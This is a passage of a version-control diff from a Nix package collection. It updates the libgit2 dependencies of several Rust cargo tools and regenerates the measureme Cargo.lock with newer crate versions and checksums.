@@ -27,13 +27,17 @@ rustPlatform.buildRustPackage rec { buildInputs = [ curl - libgit2_1_5 + libgit2 openssl ] ++ lib.optionals stdenv.isDarwin [ darwin.apple_sdk.frameworks.CoreFoundation darwin.apple_sdk.frameworks.Security ]; + env = { + LIBGIT2_NO_VENDOR = 1; + }; + meta = with lib; { description = "A tool to find potential unused enabled feature flags and prune them"; homepage = "https://github.com/timonpost/cargo-unused-features"; diff --git a/pkgs/development/tools/rust/cargo-update/default.nix b/pkgs/development/tools/rust/cargo-update/default.nix index 3b3418f38dc06..986f705455c6f 100644 --- a/pkgs/development/tools/rust/cargo-update/default.nix +++ b/pkgs/development/tools/rust/cargo-update/default.nix @@ -7,7 +7,7 @@ , ronn , stdenv , curl -, libgit2_1_5 +, libgit2 , libssh2 , openssl , zlib @@ -35,7 +35,7 @@ rustPlatform.buildRustPackage rec { ]; buildInputs = [ - libgit2_1_5 + libgit2 libssh2 openssl zlib @@ -55,6 +55,10 @@ rustPlatform.buildRustPackage rec { installManPage man/*.1 ''; + env = { + LIBGIT2_NO_VENDOR = 1; + }; + meta = with lib; { description = "A cargo subcommand for checking and applying updates to installed executables"; homepage = "https://github.com/nabijaczleweli/cargo-update"; diff --git a/pkgs/development/tools/rust/cargo-workspaces/default.nix b/pkgs/development/tools/rust/cargo-workspaces/default.nix index 5cb3c4de96b19..b087ef552ca92 100644 --- a/pkgs/development/tools/rust/cargo-workspaces/default.nix +++ b/pkgs/development/tools/rust/cargo-workspaces/default.nix @@ -2,7 +2,6 @@ , rustPlatform , fetchCrate , pkg-config -, libgit2_1_6 , libssh2 , openssl , zlib @@ -26,7 +25,6 @@ rustPlatform.buildRustPackage rec { ]; buildInputs = [ - libgit2_1_6 libssh2 openssl zlib diff --git a/pkgs/development/tools/rust/measureme/Cargo.lock b/pkgs/development/tools/rust/measureme/Cargo.lock index a1e663a7d5c88..20f1f96a10b28 100644 --- a/pkgs/development/tools/rust/measureme/Cargo.lock +++ b/pkgs/development/tools/rust/measureme/Cargo.lock @@ -10,18 +10,22 @@ checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" [[package]] name = "ahash" -version = "0.3.8" +version = "0.8.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e8fd72866655d1904d6b0997d0b07ba561047d070fbe29de039031c641b61217" +checksum = "77c3a9648d43b9cd48db467b3f87fdd6e146bcc88ab0180006cef2179fe11d01" dependencies = [ - "const-random", + "cfg-if", + "getrandom", + "once_cell", + "version_check", + "zerocopy", ] [[package]] name = "aho-corasick" -version = "1.0.2" +version = "1.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "43f6cb1bf222025340178f382c426f13757b2960e89779dfcb319c32542a5a41" +checksum = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0" dependencies = [ "memchr", ] @@ -41,27 +45,20 @@ dependencies = [ [[package]] name = "analyzeme" -version = "10.1.1" +version = "11.0.1" dependencies = [ "analyzeme 9.2.0", - "decodeme", + "decodeme 10.1.2", + "decodeme 11.0.1", "flate2", - "measureme 10.1.1", + "measureme 10.1.2", + "measureme 11.0.1", "memchr", "rustc-hash", "serde", ] [[package]] -name = "ansi_term" -version = "0.12.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d52a9bb7ec0cf484c551830a7ce27bd20d67eac647e1befb56b0be4ee39a55d2" -dependencies = [ - "winapi", -] - -[[package]] name = "arrayvec" version = "0.7.4" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -91,22 +88,22 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" [[package]] -name = "bytemuck" -version = "1.13.1" +name = "bitflags" +version = "2.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "17febce684fd15d89027105661fec94afb475cb995fbc59d2865198446ba2eea" +checksum = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07" [[package]] -name = "byteorder" -version = "1.4.3" +name = "bytemuck" +version = "1.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610" +checksum = "374d28ec25809ee0e23827c2ab573d729e293f281dfe393500e7ad618baa61c6" [[package]] -name = "cc" -version = "1.0.79" +name = "byteorder" +version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "50d30906286121d95be3d479533b458f87493b30a4b5f79a607db8f5d11aa91f" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" [[package]] name = "cfg-if" @@ -116,39 +113,41 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] name = "clap" -version = "2.34.0" +version = "3.2.25" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a0610544180c38b88101fecf2dd634b174a62eef6946f84dfc6a7127512b381c" +checksum = "4ea181bf566f71cb9a5d17a59e1871af638180a18fb0035c92ae62b705207123" dependencies = [ - "ansi_term", "atty", - "bitflags", + "bitflags 1.3.2", + "clap_derive", + "clap_lex", + "indexmap", + "once_cell", "strsim", + "termcolor", "textwrap", - "unicode-width", - "vec_map", ] [[package]] -name = "const-random" -version = "0.1.15" +name = "clap_derive" +version = "3.2.25" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "368a7a772ead6ce7e1de82bfb04c485f3db8ec744f72925af5735e29a22cc18e" +checksum = "ae6371b8bdc8b7d3959e9cf7b22d4435ef3e79e138688421ec654acf8c81b008" dependencies = [ - "const-random-macro", - "proc-macro-hack", + "heck", + "proc-macro-error", + "proc-macro2", + "quote", + "syn 1.0.109", ] [[package]] -name = "const-random-macro" -version = "0.1.15" +name = "clap_lex" +version = "0.2.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d7d6ab3c3a2282db210df5f02c4dab6e0a7057af0fb7ebd4070f30fe05c0ddb" +checksum = "2850f2f5a82cbf437dd5af4d49848fbdfc27c157c3d010345776f952765261c5" dependencies = [ - "getrandom", - "once_cell", - "proc-macro-hack", - "tiny-keccak", + "os_str_bytes", ] [[package]] @@ -162,48 +161,54 @@ dependencies = [ [[package]] name = "crox" -version = "10.1.1" +version = "11.0.1" dependencies = [ - "analyzeme 10.1.1", - "measureme 10.1.1", + "analyzeme 11.0.1", + "clap", + "measureme 11.0.1", "rustc-hash", "serde", "serde_json", - "structopt", ] [[package]] -name = "crunchy" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7a81dae078cea95a014a339291cec439d2f232ebe854a9d672b796c6afafa9b7" - -[[package]] name = "csv" -version = "1.2.2" +version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "626ae34994d3d8d668f4269922248239db4ae42d538b14c398b74a52208e8086" +checksum = "ac574ff4d437a7b5ad237ef331c17ccca63c46479e5b5453eb8e10bb99a759fe" dependencies = [ "csv-core", - "itoa 1.0.6", + "itoa", "ryu", "serde", ] [[package]] name = "csv-core" -version = "0.1.10" +version = "0.1.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2b2466559f260f48ad25fe6317b3c8dac77b5bdb5763ac7d9d6103530663bc90" +checksum = "5efa2b3d7902f4b634a20cae3c9c4e6209dc4779feb6863329607560143efa70" dependencies = [ "memchr", ] [[package]] name = "decodeme" -version = "10.1.1" +version = "10.1.2" +source = "git+https://github.com/rust-lang/measureme?tag=10.1.2#f9f84d1a79c46e9927926c177c33eb3ea3c72979" dependencies = [ - "measureme 10.1.1", + "measureme 10.1.2", + "memchr", + "rustc-hash", + "serde", + "serde_json", +] + +[[package]] +name = "decodeme" +version = "11.0.1" +dependencies = [ + "measureme 11.0.1", "memchr", "rustc-hash", "serde", @@ -239,40 +244,29 @@ checksum = "34aa73646ffb006b8f5147f3dc182bd4bcb190227ce861fc4a4844bf8e3cb2c0" [[package]] name = "errno" -version = "0.3.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4bcfec3a70f97c962c307b2d2c56e358cf1d00b558d74262b5f929ee8cc7e73a" -dependencies = [ - "errno-dragonfly", - "libc", - "windows-sys", -] - -[[package]] -name = "errno-dragonfly" -version = "0.1.2" +version = "0.3.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aa68f1b12764fab894d2755d2518754e71b4fd80ecfb822714a1206c2aab39bf" +checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" dependencies = [ - "cc", "libc", + "windows-sys 0.52.0", ] [[package]] name = "flamegraph" -version = "10.1.1" +version = "11.0.1" dependencies = [ - "analyzeme 10.1.1", + "analyzeme 11.0.1", + "clap", "inferno", - "measureme 10.1.1", - "structopt", + "measureme 11.0.1", ] [[package]] name = "flate2" -version = "1.0.26" +version = "1.0.28" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3b9429470923de8e8cbd4d2dc513535400b4b3fef0319fb5c4e1f520a7bef743" +checksum = "46303f565772937ffe1d394a4fac6f411c6013172fadde9dcdb1e147a086940e" dependencies = [ "crc32fast", "miniz_oxide", @@ -280,9 +274,9 @@ dependencies = [ [[package]] name = "getrandom" -version = "0.2.10" +version = "0.2.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "be4136b2a15dd319360be1c07d9933517ccf0be8f16bf62a3bee4f0d618df427" +checksum = "fe9006bed769170c11f845cf00c7c1e9092aeb3f268e007c3e760ac68008070f" dependencies = [ "cfg-if", "libc", @@ -296,13 +290,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" [[package]] +name = "hashbrown" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" + +[[package]] name = "heck" -version = "0.3.3" +version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6d621efb26863f0e9924c6ac577e8275e5e6b77455db64ffa6c65c904e9e132c" -dependencies = [ - "unicode-segmentation", -] +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" [[package]] name = "hermit-abi" @@ -315,21 +312,32 @@ dependencies = [ [[package]] name = "hermit-abi" -version = "0.3.1" +version = "0.3.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fed44880c466736ef9a5c5b5facefb5ed0785676d0c02d612db14e54f0d84286" +checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" + +[[package]] +name = "indexmap" +version = "1.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99" +dependencies = [ + "autocfg", + "hashbrown", +] [[package]] name = "inferno" -version = "0.9.9" +version = "0.11.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2b2a71c56e4c218f2a1d36bc5177cbfdedf89697ac68610ac3c8452cde152231" +checksum = "321f0f839cd44a4686e9504b0a62b4d69a50b62072144c71c68f5873c167b8d9" dependencies = [ "ahash", - "itoa 0.4.8", - "lazy_static", + "is-terminal", + "itoa", "log", "num-format", + "once_cell", "quick-xml", "rgb", "str_stack", @@ -345,39 +353,21 @@ dependencies = [ ] [[package]] -name = "io-lifetimes" -version = "1.0.11" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eae7b9aee968036d54dce06cebaefd919e4472e753296daccd6d344e3e2df0c2" -dependencies = [ - "hermit-abi 0.3.1", - "libc", - "windows-sys", -] - -[[package]] name = "is-terminal" -version = "0.4.7" +version = "0.4.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "adcf93614601c8129ddf72e2d5633df827ba6551541c6d8c59520a371475be1f" +checksum = "cb0889898416213fab133e1d33a0e5858a48177452750691bde3666d0fdbaf8b" dependencies = [ - "hermit-abi 0.3.1", - "io-lifetimes", + "hermit-abi 0.3.3", "rustix", - "windows-sys", + "windows-sys 0.48.0", ] [[package]] name = "itoa" -version = "0.4.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b71991ff56294aa922b450139ee08b3bfc70982c6b2c7562771375cf73542dd4" - -[[package]] -name = "itoa" -version = "1.0.6" +version = "1.0.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "453ad9f582a441959e5f0d088b02ce04cfe8d51a8eaf077f12ac6d3e94164ca6" +checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" [[package]] name = "lazy_static" @@ -387,21 +377,32 @@ checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" [[package]] name = "libc" -version = "0.2.146" +version = "0.2.151" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f92be4933c13fd498862a9e02a3055f8a8d9c039ce33db97306fd5a6caa7f29b" +checksum = "302d7ab3130588088d277783b1e2d2e10c9e9e4a16dd9050e6ec93fb3e7048f4" + +[[package]] +name = "libredox" +version = "0.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85c833ca1e66078851dba29046874e38f08b2c883700aa29a03ddd3b23814ee8" +dependencies = [ + "bitflags 2.4.1", + "libc", + "redox_syscall 0.4.1", +] [[package]] name = "linux-raw-sys" -version = "0.3.8" +version = "0.4.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ef53942eb7bf7ff43a617b3e2c1c4a5ecf5944a7c1bc12d7ee39bbb15e5c1519" +checksum = "c4cd1a83af159aa67994778be9070f0ae1bd732942279cabb14f86f986a21456" [[package]] name = "lock_api" -version = "0.4.10" +version = "0.4.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c1cc9717a20b1bb222f333e6a92fd32f7d8a18ddc5a3191a11af45dcbf4dcd16" +checksum = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45" dependencies = [ "autocfg", "scopeguard", @@ -409,9 +410,9 @@ dependencies = [ [[package]] name = "log" -version = "0.4.19" +version = "0.4.20" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b06a4cde4c0f271a446782e3eff8de789548ce57dbc8eca9292c27f4a42004b4" +checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" [[package]] name = "measureme" @@ -420,7 +421,7 @@ source = "git+https://github.com/rust-lang/measureme?tag=9.2.0#9f51cde2e5dd3ef03 dependencies = [ "log", "memmap2", - "parking_lot", + "parking_lot 0.11.2", "perf-event-open-sys 1.0.1", "rustc-hash", "smallvec", @@ -428,11 +429,24 @@ dependencies = [ [[package]] name = "measureme" -version = "10.1.1" +version = "10.1.2" +source = "git+https://github.com/rust-lang/measureme?tag=10.1.2#f9f84d1a79c46e9927926c177c33eb3ea3c72979" +dependencies = [ + "log", + "memmap2", + "parking_lot 0.12.1", + "perf-event-open-sys 3.0.0", + "rustc-hash", + "smallvec", +] + +[[package]] +name = "measureme" +version = "11.0.1" dependencies = [ "log", "memmap2", - "parking_lot", + "parking_lot 0.12.1", "perf-event-open-sys 3.0.0", "rustc-hash", "smallvec", @@ -440,9 +454,9 @@ dependencies = [ [[package]] name = "memchr" -version = "2.5.0" +version = "2.6.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d" +checksum = "f665ee40bc4a3c5590afb1e9677db74a508659dfd71e126420da8274909a0167" [[package]] name = "memmap2" @@ -464,20 +478,20 @@ dependencies = [ [[package]] name = "mmedit" -version = "10.1.1" +version = "11.0.1" dependencies = [ - "decodeme", - "measureme 10.1.1", - "structopt", + "clap", + "decodeme 11.0.1", + "measureme 11.0.1", ] [[package]] name = "mmview" -version = "10.1.1" +version = "11.0.1" dependencies = [ - "analyzeme 10.1.1", - "measureme 10.1.1", - "structopt", + "analyzeme 11.0.1", + "clap", + "measureme 11.0.1", ] [[package]] @@ -487,14 +501,20 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a652d9771a63711fd3c3deb670acfbe5c30a4072e664d7a3bf5a9e1056ac72c3" dependencies = [ "arrayvec", - "itoa 1.0.6", + "itoa", ] [[package]] name = "once_cell" -version = "1.18.0" +version = "1.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" + +[[package]] +name = "os_str_bytes" +version = "6.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2355d85b9a3786f481747ced0e0ff2ba35213a1f9bd406ed906554d7af805a1" [[package]] name = "parking_lot" @@ -504,7 +524,17 @@ checksum = "7d17b78036a60663b797adeaee46f5c9dfebb86948d1255007a1d6be0271ff99" dependencies = [ "instant", "lock_api", - "parking_lot_core", + "parking_lot_core 0.8.6", +] + +[[package]] +name = "parking_lot" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f" +dependencies = [ + "lock_api", + "parking_lot_core 0.9.9", ] [[package]] @@ -516,12 +546,25 @@ dependencies = [ "cfg-if", "instant", "libc", - "redox_syscall", + "redox_syscall 0.2.16", "smallvec", "winapi", ] [[package]] +name = "parking_lot_core" +version = "0.9.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall 0.4.1", + "smallvec", + "windows-targets 0.48.5", +] + +[[package]] name = "perf-event-open-sys" version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -578,34 +621,28 @@ dependencies = [ ] [[package]] -name = "proc-macro-hack" -version = "0.5.20+deprecated" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dc375e1527247fe1a97d8b7156678dfe7c1af2fc075c9a4db3690ecd2a148068" - -[[package]] name = "proc-macro2" -version = "1.0.60" +version = "1.0.71" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dec2b086b7a862cf4de201096214fa870344cf922b2b30c167badb3af3195406" +checksum = "75cb1540fadbd5b8fbccc4dddad2734eba435053f725621c070711a14bb5f4b8" dependencies = [ "unicode-ident", ] [[package]] name = "quick-xml" -version = "0.18.1" +version = "0.26.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3cc440ee4802a86e357165021e3e255a9143724da31db1e2ea540214c96a0f82" +checksum = "7f50b1c63b38611e7d4d7f68b82d3ad0cc71a2ad2e7f61fc10f1328d917c93cd" dependencies = [ "memchr", ] [[package]] name = "quote" -version = "1.0.28" +version = "1.0.33" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b9ab9c7eadfd8df19006f1cf1a4aed13540ed5cbc047010ece5826e10825488" +checksum = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae" dependencies = [ "proc-macro2", ] @@ -616,25 +653,46 @@ version = "0.2.16" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a" dependencies = [ - "bitflags", + "bitflags 1.3.2", +] + +[[package]] +name = "redox_syscall" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" +dependencies = [ + "bitflags 1.3.2", ] [[package]] name = "redox_users" -version = "0.4.3" +version = "0.4.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b033d837a7cf162d7993aded9304e30a83213c648b6e389db233191f891e5c2b" +checksum = "a18479200779601e498ada4e8c1e1f50e3ee19deb0259c25825a98b5603b2cb4" dependencies = [ "getrandom", - "redox_syscall", + "libredox", "thiserror", ] [[package]] name = "regex" -version = "1.8.4" +version = "1.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "380b951a9c5e80ddfd6136919eef32310721aa4aacd4889a8d39124b026ab343" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d0ab3ca65655bb1e41f2a8c8cd662eb4fb035e67c3f78da1d61dffe89d07300f" +checksum = "5f804c7828047e88b2d32e2d7fe5a105da8ee3264f01902f796c8e067dc2483f" dependencies = [ "aho-corasick", "memchr", @@ -643,15 +701,15 @@ dependencies = [ [[package]] name = "regex-syntax" -version = "0.7.2" +version = "0.8.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "436b050e76ed2903236f032a59761c1eb99e1b0aead2c257922771dab1fc8c78" +checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" [[package]] name = "rgb" -version = "0.8.36" +version = "0.8.37" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "20ec2d3e3fc7a92ced357df9cebd5a10b6fb2aa1ee797bf7e9ce2f17dffc8f59" +checksum = "05aaa8004b64fd573fc9d002f4e632d51ad4f026c2b5ba95fcb6c2f32c2c47d8" dependencies = [ "bytemuck", ] @@ -664,80 +722,79 @@ checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" [[package]] name = "rustix" -version = "0.37.20" +version = "0.38.28" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b96e891d04aa506a6d1f318d2771bcb1c7dfda84e126660ace067c9b474bb2c0" +checksum = "72e572a5e8ca657d7366229cdde4bd14c4eb5499a9573d4d366fe1b599daa316" dependencies = [ - "bitflags", + "bitflags 2.4.1", "errno", - "io-lifetimes", "libc", "linux-raw-sys", - "windows-sys", + "windows-sys 0.52.0", ] [[package]] name = "rustversion" -version = "1.0.12" +version = "1.0.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4f3208ce4d8448b3f3e7d168a73f5e0c43a61e32930de3bceeccedb388b6bf06" +checksum = "7ffc183a10b4478d04cbbbfc96d0873219d962dd5accaff2ffbd4ceb7df837f4" [[package]] name = "ryu" -version = "1.0.13" +version = "1.0.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f91339c0467de62360649f8d3e185ca8de4224ff281f66000de5eb2a77a79041" +checksum = "f98d2aa92eebf49b69786be48e4477826b256916e84a57ff2a4f21923b48eb4c" [[package]] name = "scopeguard" -version = "1.1.0" +version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" [[package]] name = "serde" -version = "1.0.164" +version = "1.0.193" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9e8c8cf938e98f769bc164923b06dce91cea1751522f46f8466461af04c9027d" +checksum = "25dd9975e68d0cb5aa1120c288333fc98731bd1dd12f561e468ea4728c042b89" dependencies = [ "serde_derive", ] [[package]] name = "serde_derive" -version = "1.0.164" +version = "1.0.193" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d9735b638ccc51c28bf6914d90a2e9725b377144fc612c49a611fddd1b631d68" +checksum = "43576ca501357b9b071ac53cdc7da8ef0cbd9493d8df094cd821777ea6e894d3" dependencies = [ "proc-macro2", "quote", - "syn 2.0.18", + "syn 2.0.43", ] [[package]] name = "serde_json" -version = "1.0.97" +version = "1.0.108" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bdf3bf93142acad5821c99197022e170842cdbc1c30482b98750c688c640842a" +checksum = "3d1c7e3eac408d115102c4c24ad393e0821bb3a5df4d506a80f85f7a742a526b" dependencies = [ - "itoa 1.0.6", + "itoa", "ryu", "serde", ] [[package]] name = "smallvec" -version = "1.10.0" +version = "1.11.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a507befe795404456341dfab10cef66ead4c041f62b8b11bbb92bffe5d0953e0" +checksum = "4dccd0940a2dcdf68d092b8cbab7dc0ad8fa938bf95787e1b916b0e3d0e8e970" [[package]] name = "stack_collapse" -version = "10.1.1" +version = "11.0.1" dependencies = [ - "analyzeme 10.1.1", - "measureme 10.1.1", - "structopt", + "analyzeme 11.0.1", + "clap", + "measureme 11.0.1", ] [[package]] @@ -748,45 +805,21 @@ checksum = "9091b6114800a5f2141aee1d1b9d6ca3592ac062dc5decb3764ec5895a47b4eb" [[package]] name = "strsim" -version = "0.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8ea5119cdb4c55b55d432abb513a0429384878c15dde60cc77b1c99de1a95a6a" - -[[package]] -name = "structopt" -version = "0.3.26" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0c6b5c64445ba8094a6ab0c3cd2ad323e07171012d9c98b0b15651daf1787a10" -dependencies = [ - "clap", - "lazy_static", - "structopt-derive", -] - -[[package]] -name = "structopt-derive" -version = "0.4.18" +version = "0.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dcb5ae327f9cc13b68763b5749770cb9e048a99bd9dfdfa58d0cf05d5f64afe0" -dependencies = [ - "heck", - "proc-macro-error", - "proc-macro2", - "quote", - "syn 1.0.109", -] +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" [[package]] name = "summarize" -version = "10.1.1" +version = "11.0.1" dependencies = [ - "analyzeme 10.1.1", - "measureme 10.1.1", + "analyzeme 11.0.1", + "clap", + "measureme 11.0.1", "prettytable-rs", "rustc-hash", "serde", "serde_json", - "structopt", ] [[package]] @@ -802,9 +835,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.18" +version = "2.0.43" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "32d41677bcbe24c20c52e7c70b0d8db04134c5d1066bf98662e2871ad200ea3e" +checksum = "ee659fb5f3d355364e1f3e5bc10fb82068efbf824a1e9d1c9504244a6469ad53" dependencies = [ "proc-macro2", "quote", @@ -823,66 +856,51 @@ dependencies = [ ] [[package]] -name = "textwrap" -version = "0.11.0" +name = "termcolor" +version = "1.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d326610f408c7a4eb6f51c37c330e496b08506c9457c9d34287ecc38809fb060" +checksum = "ff1bc3d3f05aff0403e8ac0d92ced918ec05b666a43f83297ccef5bea8a3d449" dependencies = [ - "unicode-width", + "winapi-util", ] [[package]] +name = "textwrap" +version = "0.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "222a222a5bfe1bba4a77b45ec488a741b3cb8872e5e499451fd7d0129c9c7c3d" + +[[package]] name = "thiserror" -version = "1.0.40" +version = "1.0.52" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "978c9a314bd8dc99be594bc3c175faaa9794be04a5a5e153caba6915336cebac" +checksum = "83a48fd946b02c0a526b2e9481c8e2a17755e47039164a86c4070446e3a4614d" dependencies = [ "thiserror-impl", ] [[package]] name = "thiserror-impl" -version = "1.0.40" +version = "1.0.52" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f9456a42c5b0d803c8cd86e73dd7cc9edd429499f37a3550d286d5e86720569f" +checksum = "e7fbe9b594d6568a6a1443250a7e67d80b74e1e96f6d1715e1e21cc1888291d3" dependencies = [ "proc-macro2", "quote", - "syn 2.0.18", -] - -[[package]] -name = "tiny-keccak" -version = "2.0.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2c9d3793400a45f954c52e73d068316d76b6f4e36977e3fcebb13a2721e80237" -dependencies = [ - "crunchy", + "syn 2.0.43", ] [[package]] name = "unicode-ident" -version = "1.0.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b15811caf2415fb889178633e7724bad2509101cde276048e013b9def5e51fa0" - -[[package]] -name = "unicode-segmentation" -version = "1.10.1" +version = "1.0.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1dd624098567895118886609431a7c3b8f516e41d30e0643f03d94592a147e36" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" [[package]] name = "unicode-width" -version = "0.1.10" +version = "0.1.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c0edd1e5b14653f783770bce4a4dabb4a5108a5370a5f5d8cfe8710c361f6c8b" - -[[package]] -name = "vec_map" -version = "0.8.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f1bddf1187be692e79c5ffeab891132dfb0f236ed36a43c7ed39f1165ee20191" +checksum = "e51733f11c9c4f72aa0c160008246859e340b00807569a0da0e7a1079b27ba85" [[package]] name = "version_check" @@ -892,7 +910,7 @@ checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" [[package]] name = "version_checker" -version = "10.1.1" +version = "11.0.1" dependencies = [ "glob", "regex", @@ -921,6 +939,15 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" [[package]] +name = "winapi-util" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596" +dependencies = [ + "winapi", +] + +[[package]] name = "winapi-x86_64-pc-windows-gnu" version = 